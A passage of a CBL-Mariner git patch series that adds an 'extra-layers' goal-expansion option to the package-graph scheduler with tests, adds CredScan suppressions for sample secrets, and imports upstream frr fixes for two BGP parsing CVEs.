= app.Flag("packages", "Space separated list of top-level packages that should be built. Omit this argument to build all packages.").String() pkgsToRebuild = app.Flag("rebuild-packages", "Space separated list of base package names packages that should be rebuilt.").String() + extraLayers = app.Flag("extra-layers", "Sets the number of additional layers in the graph beyond the goal packages to buid.").Default(defaultExtraLayers).Int() testsToIgnore = app.Flag("ignored-tests", "Space separated list of package tests that should not be ran.").String() testsToRun = app.Flag("tests", "Space separated list of package tests that should be ran. Omit this argument to run all package tests.").String() @@ -223,7 +228,7 @@ func downloadDeltaNodes(dependencyGraph *pkggraph.PkgGraph, cloner *rpmrepoclone return } - isGraphOptimized, deltaPkgGraphCopy, _, err := schedulerutils.PrepareGraphForBuild(deltaPkgGraphCopy, packageVersToBuild, testVersToRun, useImplicitForOptimization) + isGraphOptimized, deltaPkgGraphCopy, _, err := schedulerutils.PrepareGraphForBuild(deltaPkgGraphCopy, packageVersToBuild, testVersToRun, useImplicitForOptimization, *extraLayers) if err != nil { err = fmt.Errorf("failed to initialize graph for delta package downloading:\n%w", err) return diff --git a/toolkit/tools/internal/packagerepo/repocloner/rpmrepocloner/rpmrepocloner.go b/toolkit/tools/internal/packagerepo/repocloner/rpmrepocloner/rpmrepocloner.go index 51a1552fd2c..e8cec97152a 100644 --- a/toolkit/tools/internal/packagerepo/repocloner/rpmrepocloner/rpmrepocloner.go +++ b/toolkit/tools/internal/packagerepo/repocloner/rpmrepocloner/rpmrepocloner.go @@ -78,6 +78,7 @@ func ConstructCloner(destinationDir, tmpDir, workerTar, existingRpmsDir, toolcha err = r.initialize(destinationDir, tmpDir, workerTar, existingRpmsDir, toolchainRpmsDir, repoDefinitions) if err != nil { err = fmt.Errorf("failed to prep new rpm cloner:\n%w", err) + return } tlsKey, tlsCert = strings.TrimSpace(tlsKey), strings.TrimSpace(tlsCert) diff --git a/toolkit/tools/internal/pkggraph/pkggraph.go b/toolkit/tools/internal/pkggraph/pkggraph.go index 88d0e4775c3..65825ee8581 100644 --- a/toolkit/tools/internal/pkggraph/pkggraph.go +++ b/toolkit/tools/internal/pkggraph/pkggraph.go @@ -1061,7 +1061,21 @@ func (g *PkgGraph) AddMetaNode(from []*PkgNode, to []*PkgNode) (metaNode *PkgNod } // AddGoalNode adds a goal node to the graph which links to existing nodes. An empty package list will add an edge to all nodes +// - goalName: The name of the goal node to add +// - packages: A list of packages to add to link the goal node to. If empty, all nodes will be added to the goal node +// - strict: If true, the goal node will fail if any of the packages are not found func (g *PkgGraph) AddGoalNode(goalName string, packages, tests []*pkgjson.PackageVer, strict bool) (goalNode *PkgNode, err error) { + return g.AddGoalNodeWithExtraLayers(goalName, packages, tests, strict, 0) +} + +// AddGoalNodeWithExtraLayers adds a goal node to the graph which links to existing nodes. An empty package list will add an edge to all nodes +// - goalName: The name of the goal node to add +// - packages: A list of packages to add to link the goal node to. If empty, all nodes will be added to the goal node +// - strict: If true, the goal node will fail if any of the packages are not found +// - extraLayers: The number of levels to expand the goal node. Each level will add one more layer of packages beyond +// the goal node. For example, if the goal node is "x" and extraLevels is 1, the goal node will link to all nodes +// which depend on "x" as well as "x" itself (Specifically run nodes, all other nodes are stepped over) +func (g *PkgGraph) AddGoalNodeWithExtraLayers(goalName string, packages, tests []*pkgjson.PackageVer, strict bool, extraLayers int) (goalNode *PkgNode, err error) { // Check if we already have a goal node with the requested name if g.FindGoalNode(goalName) != nil { err = fmt.Errorf("can't have two goal nodes named %s", goalName) @@ -1100,6 +1114,94 @@ func (g *PkgGraph) AddGoalNode(goalName string, packages, tests []*pkgjson.Packa return } + // Expand the goal node if requested + if extraLayers > 0 { + g.addGoalNodeLayers(goalNode, extraLayers) + } + + return +} + +// addGoalNodeLayers will expand a goal node by some numbers of layers. For example, if the goaled node is "x" (i.e. the goal node +// points to "x") and extraLevels is 1, the goal node will now link to all nodes which depend on "x" as well as +// "x" itself. A node is considered to depend on "x" if it is a run node that has edges connecting it to "x" +// without any other run nodes in between. +// +// E.g., if "y_run" -> "y_build" -> "" -> "x_run" -> "x_build", and we are expanding from "x" +// with layers=1, only "y_run" will be added to the goal nodes since "y_build" and "" are not run nodes. +func (g *PkgGraph) addGoalNodeLayers(goalNode *PkgNode, layers int) { + logger.Log.Debugf("Expanding goal node '%s' by %d layers", goalNode.GoalName, layers) + + var expandedGoalNodes []*PkgNode + // Use a set to keep track of the nodes we already added so we can avoid processing them again + expandedGoalNodesSet := make(map[*PkgNode]bool) + + // Start with the already selected nodes which make up the goal. + initialGoalNodes := []*PkgNode{} + for _, selectedNode := range graph.NodesOf(g.From(goalNode.ID())) { + initialGoalNodes = append(initialGoalNodes, selectedNode.(*PkgNode)) + } + + // For each node in the current layer, add all of the nodes that depend on it, then repeat as many times as requested + expandedGoalNodes = initialGoalNodes + for i := 0; i < layers; i++ { + expandedGoalNodes = append(expandedGoalNodes, g.getNextGoalLayer(expandedGoalNodesSet, expandedGoalNodes)...) + } + + // Add the new edges if they are missing + for _, expandedNode := range expandedGoalNodes { + // Ensure we don't create a cycle by adding an edge from the goal node to itself + if expandedNode == goalNode { + continue + } + if !g.HasEdgeFromTo(goalNode.ID(), expandedNode.ID()) { + logger.Log.Debugf("Adding edge from '%s' to '%s'", goalNode.FriendlyName(), expandedNode.FriendlyName()) + g.SetEdge(g.NewEdge(goalNode, expandedNode)) + } + } +} + +// getNextGoalLayer will return the next layer of goal nodes to expand. It will return a list of run nodes that depend on the current goal nodes. +// - expandedGoalNodesSet: A set of nodes that have already been expanded from. If a node is in this set we will skip it. +// - currentGoalNodes: The current layer of goal nodes to expand from. +// +// Returns a list of additional nodes that connect to currentGoalNodes (but not any nodes that are already in currentGoalNodes) +func (g *PkgGraph) getNextGoalLayer(expandedGoalNodesSet map[*PkgNode]bool, currentGoalNodes []*PkgNode) (expandedGoalNodes []*PkgNode) { + + // We will iterate over the current goal nodes and add all the nodes that depend on them to the expanded goal nodes. + // The expandedGoalNodesSet will ensure we don't add the same node twice. + for _, goalNode := range currentGoalNodes { + if expandedGoalNodesSet[goalNode] { + logger.Log.Tracef("Already expanded from '%s', skipping", goalNode.FriendlyName()) + continue + } else { + logger.Log.Debugf("Expanding goal nodes from '%s'", goalNode.FriendlyName()) + expandedGoalNodesSet[goalNode] = true + } + + // Add all the nodes that depend on this node to the expanded goal nodes list. If the dependant node is a run + // node we can stop expanding from it (A subsequent call to expandGoalNodesOnce() will expand from it further if + // needed). If the dependant node is a build, meta, etc. node we need to keep expanding from it since we only + // care about adding goals to run nodes. We ignore goal nodes since they should have no dependents, and may + // potentially pull in unrelated parts of the graph. + dependentNodes := graph.NodesOf(g.To(goalNode.ID())) + for _, dependentNeighborGraphNode := range dependentNodes { + dependentNode := dependentNeighborGraphNode.(*PkgNode) + switch dependentNode.Type { + case TypeLocalRun: + fallthrough + case TypeTest: + logger.Log.Debugf("Adding '%s' to expanded goal nodes", dependentNode.FriendlyName()) + expandedGoalNodes = append(expandedGoalNodes, dependentNode) + case TypeGoal: + logger.Log.Tracef("Skipping '%s' since it is a goal node", dependentNode.FriendlyName()) + default: + // If the node is not a run node we need to keep expanding from the non-run node. + logger.Log.Tracef("Continuing to expand past '%s' since it is not a run node", dependentNode.FriendlyName()) + expandedGoalNodes = append(expandedGoalNodes, g.getNextGoalLayer(expandedGoalNodesSet, []*PkgNode{dependentNode})...) + } + } + } return } diff --git a/toolkit/tools/internal/pkggraph/pkggraph_test.go b/toolkit/tools/internal/pkggraph/pkggraph_test.go index 3f6572967ba..bc0c3882150 100644 --- a/toolkit/tools/internal/pkggraph/pkggraph_test.go +++ b/toolkit/tools/internal/pkggraph/pkggraph_test.go @@ -245,6 +245,7 @@ func checkEqualComponents(t *testing.T, expected, actual []*PkgNode) { } func checkTestGraph(t *testing.T, g *PkgGraph) { + t.Helper() // Make sure we got the same graph back! assert.Equal(t, len(allNodes), len(g.AllNodes())) assert.Equal(t, len(runNodes)+len(unresolvedNodes), len(g.AllRunNodes())) @@ -264,14 +265,7 @@ func checkTestGraph(t *testing.T, g *PkgGraph) { pkgD2Unresolved, pkgD3Unresolved, } - for _, mustHave := range component1 { - found := false - for _, n := range g.AllNodesFrom(a.RunNode) { - found = found || mustHave.Equal(n) - } - assert.True(t, found) - } - assert.Equal(t, len(component1), len(g.AllNodesFrom(a.RunNode))) + checkEqualComponents(t, component1, g.AllNodesFrom(a.RunNode)) c2, err := g.FindBestPkgNode(&pkgjson.PackageVer{Name: "C"}) assert.NoError(t, err) @@ -282,14 +276,7 @@ func checkTestGraph(t *testing.T, g *PkgGraph) { pkgD5Unresolved, pkgD6Unresolved, } - for _, mustHave := range component2 { - found := false - for _, n := range g.AllNodesFrom(c2.RunNode) { - found = found || mustHave.Equal(n) - } - assert.True(t, found) - } - assert.Equal(t, len(component2), len(g.AllNodesFrom(c2.RunNode))) + checkEqualComponents(t, component2, g.AllNodesFrom(c2.RunNode)) } // Validate the test graph is well formed @@ -774,6 +761,93 @@ func TestStrictGoalNodes(t *testing.T) { assert.Error(t, err) } +func TestGoalWithLevelZero(t *testing.T) { + g, err := buildTestGraphHelper() + assert.NoError(t, err) + assert.NotNil(t, g) + + goal, err := g.AddGoalNode("test_0", []*pkgjson.PackageVer{&pkgC}, nil, false) + assert.NoError(t, err) + assert.NotNil(t, goal) + nodesInGoal := []*PkgNode{} + for _, n := range graph.NodesOf(g.From(goal.ID())) { + nodesInGoal = append(nodesInGoal, n.(*PkgNode)) + } + expectedGoalNodes := []*PkgNode{ + pkgCRun, + } + checkEqualComponents(t, expectedGoalNodes, nodesInGoal) + expectedGoalTree := []*PkgNode{ + pkgCRun, + pkgCBuild, + pkgD3Unresolved, + goal, + } + checkEqualComponents(t, expectedGoalTree, g.AllNodesFrom(goal)) +} + +func TestGoalWithLevelOne(t *testing.T) { + g, err := buildTestGraphHelper() + assert.NoError(t, err) + assert.NotNil(t, g) + + goal, err := g.AddGoalNodeWithExtraLayers("test_1", []*pkgjson.PackageVer{&pkgC}, nil, false, 1) + assert.NoError(t, err) + assert.NotNil(t, goal) + nodesInGoal := []*PkgNode{} + for _, n := range graph.NodesOf(g.From(goal.ID())) { + nodesInGoal = append(nodesInGoal, n.(*PkgNode)) + } + expectedGoalNodes := []*PkgNode{ + pkgCRun, + pkgBRun, + } + checkEqualComponents(t, expectedGoalNodes, nodesInGoal) + expectedGoalPackages := []*PkgNode{ + pkgBRun, + pkgBBuild, + pkgCRun, + pkgCBuild, + pkgD2Unresolved, + pkgD3Unresolved, + goal, + } + checkEqualComponents(t, expectedGoalPackages, g.AllNodesFrom(goal)) +} + +func TestGoalWithLevelTwo(t *testing.T) { + g, err := buildTestGraphHelper() + assert.NoError(t, err) + assert.NotNil(t, g) + + goal, err := g.AddGoalNodeWithExtraLayers("test_2", []*pkgjson.PackageVer{&pkgC}, nil, false, 2) + assert.NoError(t, err) + assert.NotNil(t, goal) + nodesInGoal := []*PkgNode{} + for _, n := range graph.NodesOf(g.From(goal.ID())) { + nodesInGoal = append(nodesInGoal, n.(*PkgNode)) + } + expectedGoalNodes := []*PkgNode{ + pkgARun, + pkgCRun, + pkgBRun, + } + checkEqualComponents(t, expectedGoalNodes, nodesInGoal) + expectedGoalPackages := []*PkgNode{ + pkgARun, + pkgABuild, + pkgBRun, + pkgBBuild, + pkgCRun, + pkgCBuild, + pkgD1Unresolved, + pkgD2Unresolved, + pkgD3Unresolved, + goal, + } + checkEqualComponents(t, expectedGoalPackages, g.AllNodesFrom(goal)) +} + // Add a meta node which should link the two disconnected graph components in the test graph func TestMetaNode(t *testing.T) { g, err := buildTestGraphHelper() @@ -815,14 +889,7 @@ func TestMetaNode(t *testing.T) { pkgD5Unresolved, pkgD6Unresolved, } - for _, mustHave := range component { - found := false - for _, n := range g.AllNodesFrom(a.RunNode) { - found = found || mustHave.Equal(n) - } - assert.True(t, found) - } - assert.Equal(t, len(component), len(g.AllNodesFrom(a.RunNode))) + checkEqualComponents(t, component, g.AllNodesFrom(a.RunNode)) } // Make sure the graph updates after adding meta nodes @@ -852,14 +919,7 @@ func TestMetaNodeAddPkg(t *testing.T) { pkgD5Unresolved, pkgD6Unresolved, } - for _, mustHave := range component { - found := false - for _, n := range g.AllNodesFrom(a.RunNode) { - found = found || mustHave.Equal(n) - } - assert.True(t, found) - } - assert.Equal(t, len(component), len(g.AllNodesFrom(a.RunNode))) + checkEqualComponents(t, component, g.AllNodesFrom(a.RunNode)) n, err := addNodeToGraphHelper(g, buildUnresolvedNodeHelper(&pkgjson.PackageVer{Name: "test", Version: "99"})) assert.NoError(t, err) @@ -871,6 +931,86 @@ func TestMetaNodeAddPkg(t *testing.T) { assert.Equal(t, 5, len(g.AllNodesFrom(c.RunNode))) } +func TestGoalWithLevelOneAndMeta(t *testing.T) { + g, err := buildTestGraphHelper() + assert.NoError(t, err) + assert.NotNil(t, g) + + c1, err := g.FindBestPkgNode(&pkgC) + assert.NoError(t, err) + c2, err := g.FindBestPkgNode(&pkgC2) + assert.NoError(t, err) + meta := g.AddMetaNode([]*PkgNode{c2.RunNode}, []*PkgNode{c1.RunNode}) + + goal, err := g.AddGoalNodeWithExtraLayers("test_1meta", []*pkgjson.PackageVer{&pkgC}, nil, false, 1) + assert.NoError(t, err) + assert.NotNil(t, goal) + nodesInGoal := []*PkgNode{} + for _, n := range graph.NodesOf(g.From(goal.ID())) { + nodesInGoal = append(nodesInGoal, n.(*PkgNode)) + } + expectedGoalNodes := []*PkgNode{ + pkgCRun, + pkgC2Run, + pkgBRun, + } + checkEqualComponents(t, expectedGoalNodes, nodesInGoal) + // But we now pull in the entire graph when looking at the tree + expectedGoalPackagesMeta := []*PkgNode{ + pkgBRun, + pkgBBuild, + pkgCRun, + pkgCBuild, + pkgD2Unresolved, + pkgD3Unresolved, + pkgC2Run, + pkgC2Build, + pkgD4Unresolved, + pkgD5Unresolved, + pkgD6Unresolved, + meta, + goal, + } + checkEqualComponents(t, expectedGoalPackagesMeta, g.AllNodesFrom(goal)) +} + +func TestGoalWithMultipleGoalsAndOneExtraLayer(t *testing.T) { + g, err := buildTestGraphHelper() + assert.NoError(t, err) + assert.NotNil(t, g) + + goal, err := g.AddGoalNodeWithExtraLayers("test_1multi", []*pkgjson.PackageVer{&pkgC, &pkgD4}, nil, false, 1) + assert.NoError(t, err) + assert.NotNil(t, goal) + nodesInGoal := []*PkgNode{} + for _, n := range graph.NodesOf(g.From(goal.ID())) { + nodesInGoal = append(nodesInGoal, n.(*PkgNode)) + } + expectedGoalNodes := []*PkgNode{ + pkgCRun, + pkgC2Run, + pkgD4Unresolved, + pkgBRun, + } + checkEqualComponents(t, expectedGoalNodes, nodesInGoal) + // But we now pull in the entire graph when looking at the tree + expectedGoalPackagesMeta := []*PkgNode{ + pkgBRun, + pkgBBuild, + pkgCRun, + pkgCBuild, + pkgD2Unresolved, + pkgD3Unresolved, + pkgC2Run, + pkgC2Build, + pkgD4Unresolved, + pkgD5Unresolved, + pkgD6Unresolved, + goal, + } + checkEqualComponents(t, expectedGoalPackagesMeta, g.AllNodesFrom(goal)) +} + // Test encoding and decoding a DOT formatted graph func TestEncodeDecodeDOT(t *testing.T) { diff --git a/toolkit/tools/scheduler/scheduler.go b/toolkit/tools/scheduler/scheduler.go index 7befa8856b8..e526d070639 100644 --- a/toolkit/tools/scheduler/scheduler.go +++ b/toolkit/tools/scheduler/scheduler.go @@ -12,7 +12,7 @@ import ( "sync" "time" - "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/ccachemanager" + ccachemanagerpkg "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/ccachemanager" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/exe" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/logger" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/pkggraph" @@ -28,10 +28,10 @@ import ( const ( // default worker count to 0 to automatically scale with the number of logical CPUs. - defaultWorkerCount = "0" - defaultBuildAttempts = "1" - defaultCheckAttempts = "1" - defaultMaxCascadingRebuilds = "-1" + defaultWorkerCount = "0" + defaultBuildAttempts = "1" + defaultCheckAttempts = "1" + defaultExtraLayers = "0" ) var ( @@ -75,6 +75,7 @@ var ( rpmmacrosFile = app.Flag("rpmmacros-file", "Optional file path to an rpmmacros file for rpmbuild to use.").ExistingFile() buildAttempts = app.Flag("build-attempts", "Sets the number of times to try building a package.").Default(defaultBuildAttempts).Int() checkAttempts = app.Flag("check-attempts", "Sets the minimum number of times to test a package if the tests fail.").Default(defaultCheckAttempts).Int() + extraLayers = app.Flag("extra-layers", "Sets the number of additional layers in the graph beyond the goal packages to buid.").Default(defaultExtraLayers).Int() maxCascadingRebuilds = app.Flag("max-cascading-rebuilds", "Sets the maximum number of cascading dependency rebuilds caused by package being rebuilt (leave unset for unbounded).").Default(defaultFreshness).Uint() noCleanup = app.Flag("no-cleanup", "Whether or not to delete the chroot folder after the build is done").Bool() noCache = app.Flag("no-cache", "Disables using prebuilt cached packages.").Bool() @@ -193,7 +194,7 @@ func main() { signal.Notify(signals, unix.SIGINT, unix.SIGTERM) go cancelBuildsOnSignal(signals, agent) - err = buildGraph(*inputGraphFile, *outputGraphFile, agent, *workers, *buildAttempts, *checkAttempts, *maxCascadingRebuilds, *stopOnFailure, !*noCache, finalPackagesToBuild, packagesToRebuild, packagesToIgnore, finalTestsToRun, testsToRerun, ignoredTests, toolchainPackages, *optimizeWithCachedImplicit, *allowToolchainRebuilds) + err = buildGraph(*inputGraphFile, *outputGraphFile, agent, *workers, *buildAttempts, *checkAttempts, *extraLayers, *maxCascadingRebuilds, *stopOnFailure, !*noCache, finalPackagesToBuild, packagesToRebuild, packagesToIgnore, finalTestsToRun, testsToRerun, ignoredTests, toolchainPackages, *optimizeWithCachedImplicit, *allowToolchainRebuilds) if err != nil { logger.Log.Fatalf("Unable to build package graph.\nFor details see the build summary section above.\nError: %s.", err) } @@ -234,7 +235,7 @@ func cancelBuildsOnSignal(signals chan os.Signal, agent buildagents.BuildAgent) // buildGraph builds all packages in the dependency graph requested. // It will save the resulting graph to outputFile. -func buildGraph(inputFile, outputFile string, agent buildagents.BuildAgent, workers, buildAttempts, checkAttempts int, maxCascadingRebuilds uint, stopOnFailure, canUseCache bool, packagesToBuild, packagesToRebuild, ignoredPackages, testsToRun, testsToRerun, ignoredTests []*pkgjson.PackageVer, toolchainPackages []string, optimizeWithCachedImplicit bool, allowToolchainRebuilds bool) (err error) { +func buildGraph(inputFile, outputFile string, agent buildagents.BuildAgent, workers, buildAttempts, checkAttempts, extraLayers int, maxCascadingRebuilds uint, stopOnFailure, canUseCache bool, packagesToBuild, packagesToRebuild, ignoredPackages, testsToRun, testsToRerun, ignoredTests []*pkgjson.PackageVer, toolchainPackages []string, optimizeWithCachedImplicit bool, allowToolchainRebuilds bool) (err error) { // graphMutex guards pkgGraph from concurrent reads and writes during build. var graphMutex sync.RWMutex @@ -242,7 +243,7 @@ func buildGraph(inputFile, outputFile string, agent buildagents.BuildAgent, work // try to avoid using the cached implicit dependencies until we have no other choice during the build, but since the graph is pruned, we will // avoid building packages that are not needed. Obviously we can only do this if the cache is enabled. allowEarlyImplicitOptimization := (canUseCache && optimizeWithCachedImplicit) - _, pkgGraph, goalNode, err := schedulerutils.InitializeGraphFromFile(inputFile, packagesToBuild, testsToRun, allowEarlyImplicitOptimization) + _, pkgGraph, goalNode, err := schedulerutils.InitializeGraphFromFile(inputFile, packagesToBuild, testsToRun, allowEarlyImplicitOptimization, extraLayers) if err != nil { return } diff --git a/toolkit/tools/scheduler/schedulerutils/initializegraph.go b/toolkit/tools/scheduler/schedulerutils/initializegraph.go index b3599cdf6c1..601ae429b44 100644 --- a/toolkit/tools/scheduler/schedulerutils/initializegraph.go +++ b/toolkit/tools/scheduler/schedulerutils/initializegraph.go @@ -24,7 +24,7 @@ const ( // - If canUseCachedImplicit is true, it will use cached nodes to resolve implicit dependencies instead of waiting for // them to be built in the graph (This can allow the graph to be optimized immediately instead of waiting for the // implicit nodes to be resolved by an unknown package later in the build). -func InitializeGraphFromFile(inputFile string, packagesToBuild, testsToRun []*pkgjson.PackageVer, canUseCachedImplicit bool) (isOptimized bool, pkgGraph *pkggraph.PkgGraph, goalNode *pkggraph.PkgNode, err error) { +func InitializeGraphFromFile(inputFile string, packagesToBuild, testsToRun []*pkgjson.PackageVer, canUseCachedImplicit bool, extraLayers int) (isOptimized bool, pkgGraph *pkggraph.PkgGraph, goalNode *pkggraph.PkgNode, err error) { timestamp.StartEvent("graph initialization", nil) defer timestamp.StopEvent(nil) @@ -33,7 +33,7 @@ func InitializeGraphFromFile(inputFile string, packagesToBuild, testsToRun []*pk return } - return PrepareGraphForBuild(pkgGraph, packagesToBuild, testsToRun, canUseCachedImplicit) + return PrepareGraphForBuild(pkgGraph, packagesToBuild, testsToRun, canUseCachedImplicit, extraLayers) } // PrepareGraphForBuild takes a graph and prepares it for package building. @@ -41,12 +41,12 @@ func InitializeGraphFromFile(inputFile string, packagesToBuild, testsToRun []*pk // - If canUseCachedImplicit is true, it will use cached nodes to resolve implicit dependencies instead of waiting for // them to be built in the graph (This can allow the graph to be optimized immediately instead of waiting for the // implicit nodes to be resolved by an unknown package later in the build). -func PrepareGraphForBuild(pkgGraph *pkggraph.PkgGraph, packagesToBuild, testsToRun []*pkgjson.PackageVer, canUseCachedImplicit bool) (isOptimized bool, preparedGraph *pkggraph.PkgGraph, goalNode *pkggraph.PkgNode, err error) { +func PrepareGraphForBuild(pkgGraph *pkggraph.PkgGraph, packagesToBuild, testsToRun []*pkgjson.PackageVer, canUseCachedImplicit bool, extraLayers int) (isOptimized bool, preparedGraph *pkggraph.PkgGraph, goalNode *pkggraph.PkgNode, err error) { const ( strictGoalNode = true ) - _, err = pkgGraph.AddGoalNode(buildGoalNodeName, packagesToBuild, testsToRun, strictGoalNode) + _, err = pkgGraph.AddGoalNodeWithExtraLayers(buildGoalNodeName, packagesToBuild, testsToRun, strictGoalNode, extraLayers) if err != nil { return } @@ -86,7 +86,7 @@ func OptimizeGraph(pkgGraph *pkggraph.PkgGraph, canUseCachedImplicit bool) (opti } // Create a solvable ALL goal node - goalNode, err = optimizedGraph.AddGoalNode(allGoalNodeName, nil, nil, true) + goalNode, err = optimizedGraph.AddGoalNodeWithExtraLayers(allGoalNodeName, nil, nil, true, 0) if err != nil { logger.Log.Warnf("Failed to add goal node (%s), error: %s", allGoalNodeName, err) return From 641ca09680edcf64ef785ca3fe13770525fae375 Mon Sep 17 00:00:00 2001 From: Pawel Winogrodzki Date: Wed, 8 Nov 2023 14:38:21 -0800 Subject: [PATCH 21/34] Added CredScan exception for doc and test sample secrets. (#6696) --- .config/CredScanSuppressions.json | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.config/CredScanSuppressions.json b/.config/CredScanSuppressions.json index c1b02d48a79..8ea787948ab 100644 --- a/.config/CredScanSuppressions.json +++ b/.config/CredScanSuppressions.json @@ -24,6 +24,14 @@ { "file": "\\toolkit\\imageconfigs\\read-only-root-efi.json", "_justification": "Secret for a sample, non-production Mariner image." + }, + { + "file": "\\toolkit\\tools\\imagecustomizer\\docs\\configuration.md", + "_justification": "Secrets from documentation samples. No production secrets." + }, + { + "file": "\\toolkit\\tools\\pkg\\imagecustomizerlib\\testdata\\addusers-config.yaml", + "_justification": "Dummy secrets used to unit test configuration code." } ] } From cfdaa346f066e6bda18cd7c1c4fdc5ef8951b502 Mon Sep 17 00:00:00 2001 From: CBL-Mariner-Bot <75509084+CBL-Mariner-Bot@users.noreply.github.com> Date: Wed, 8 Nov 2023 14:52:45 -0800 Subject: [PATCH 22/34] [AUTO-CHERRYPICK] Patch frr for CVE-2023-46752 and CVE-2023-46753 - branch main (#6702) Co-authored-by: rlmenge --- SPECS/frr/CVE-2023-46752.patch | 121 +++++++++++++++++++++++++++++++++ SPECS/frr/CVE-2023-46753.patch | 113 ++++++++++++++++++++++++++++++ SPECS/frr/frr.spec | 7 +- 3 files changed, 240 insertions(+), 1 deletion(-) create mode 100644 SPECS/frr/CVE-2023-46752.patch create mode 100644 SPECS/frr/CVE-2023-46753.patch diff --git a/SPECS/frr/CVE-2023-46752.patch b/SPECS/frr/CVE-2023-46752.patch new file mode 100644 index 00000000000..16000ece03d --- /dev/null +++ b/SPECS/frr/CVE-2023-46752.patch @@ -0,0 +1,121 @@ +Imported for CBL-Mariner by Rachel Menge + +From b08afc81c60607a4f736f418f2e3eb06087f1a35 Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Fri, 20 Oct 2023 17:49:18 +0300 +Subject: [PATCH] bgpd: Handle MP_REACH_NLRI malformed packets with session + reset + +Avoid crashing bgpd. + +``` +(gdb) +bgp_mp_reach_parse (args=, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341 +2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN); +(gdb) +stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320 +320 { +(gdb) +321 STREAM_VERIFY_SANE(s); +(gdb) +323 if (STREAM_READABLE(s) < size) { +(gdb) +34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest)); +(gdb) + +Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault. +0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050, + object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282 +2282 if (path->attr->aspath->refcnt) +(gdb) +``` + +With the configuration: + +``` + neighbor 127.0.0.1 remote-as external + neighbor 127.0.0.1 passive + neighbor 127.0.0.1 ebgp-multihop + neighbor 127.0.0.1 disable-connected-check + neighbor 127.0.0.1 update-source 127.0.0.2 + neighbor 127.0.0.1 timers 3 90 + neighbor 127.0.0.1 timers connect 1 + address-family ipv4 unicast + redistribute connected + neighbor 127.0.0.1 default-originate + neighbor 127.0.0.1 route-map RM_IN in + exit-address-family +! +route-map RM_IN permit 10 + set as-path prepend 200 +exit +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +--- + bgpd/bgp_attr.c | 6 +----- + bgpd/bgp_attr.h | 1 - + bgpd/bgp_packet.c | 6 +----- + 3 files changed, 2 insertions(+), 11 deletions(-) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index 6925aff727e2..e7bb42a5d989 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -2421,7 +2421,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args, + + mp_update->afi = afi; + mp_update->safi = safi; +- return BGP_ATTR_PARSE_EOR; ++ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0); + } + + mp_update->afi = afi; +@@ -3759,10 +3759,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + goto done; + } + +- if (ret == BGP_ATTR_PARSE_EOR) { +- goto done; +- } +- + if (ret == BGP_ATTR_PARSE_ERROR) { + flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR, + "%s: Attribute %s, parse error", peer->host, +diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h +index 961e5f122470..fc347e7a1b4b 100644 +--- a/bgpd/bgp_attr.h ++++ b/bgpd/bgp_attr.h +@@ -364,7 +364,6 @@ enum bgp_attr_parse_ret { + /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR + */ + BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3, +- BGP_ATTR_PARSE_EOR = -4, + }; + + struct bpacket_attr_vec_arr; +diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c +index b585591e2f69..5ecf343b6657 100644 +--- a/bgpd/bgp_packet.c ++++ b/bgpd/bgp_packet.c +@@ -2397,8 +2397,7 @@ static int bgp_update_receive(struct peer_connection *connection, + * Non-MP IPv4/Unicast EoR is a completely empty UPDATE + * and MP EoR should have only an empty MP_UNREACH + */ +- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) +- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) { ++ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) { + afi_t afi = 0; + safi_t safi; + struct graceful_restart_info *gr_info; +@@ -2419,9 +2418,6 @@ static int bgp_update_receive(struct peer_connection *connection, + && nlris[NLRI_MP_WITHDRAW].length == 0) { + afi = nlris[NLRI_MP_WITHDRAW].afi; + safi = nlris[NLRI_MP_WITHDRAW].safi; +- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) { +- afi = nlris[NLRI_MP_UPDATE].afi; +- safi = nlris[NLRI_MP_UPDATE].safi; + } + + if (afi && peer->afc[afi][safi]) { diff --git a/SPECS/frr/CVE-2023-46753.patch b/SPECS/frr/CVE-2023-46753.patch new file mode 100644 index 00000000000..3bea3b34704 --- /dev/null +++ b/SPECS/frr/CVE-2023-46753.patch @@ -0,0 +1,113 @@ +Imported for CBL-Mariner by Rachel Menge + +From d8482bf011cb2b173e85b65b4bf3d5061250cdb9 Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Mon, 23 Oct 2023 23:34:10 +0300 +Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE + message + +If we send a crafted BGP UPDATE message without mandatory attributes, we do +not check if the length of the path attributes is zero or not. We only check +if attr->flag is at least set or not. Imagine we send only unknown transit +attribute, then attr->flag is always 0. Also, this is true only if graceful-restart +capability is received. + +A crash: + +``` +bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16) +bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17 +BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 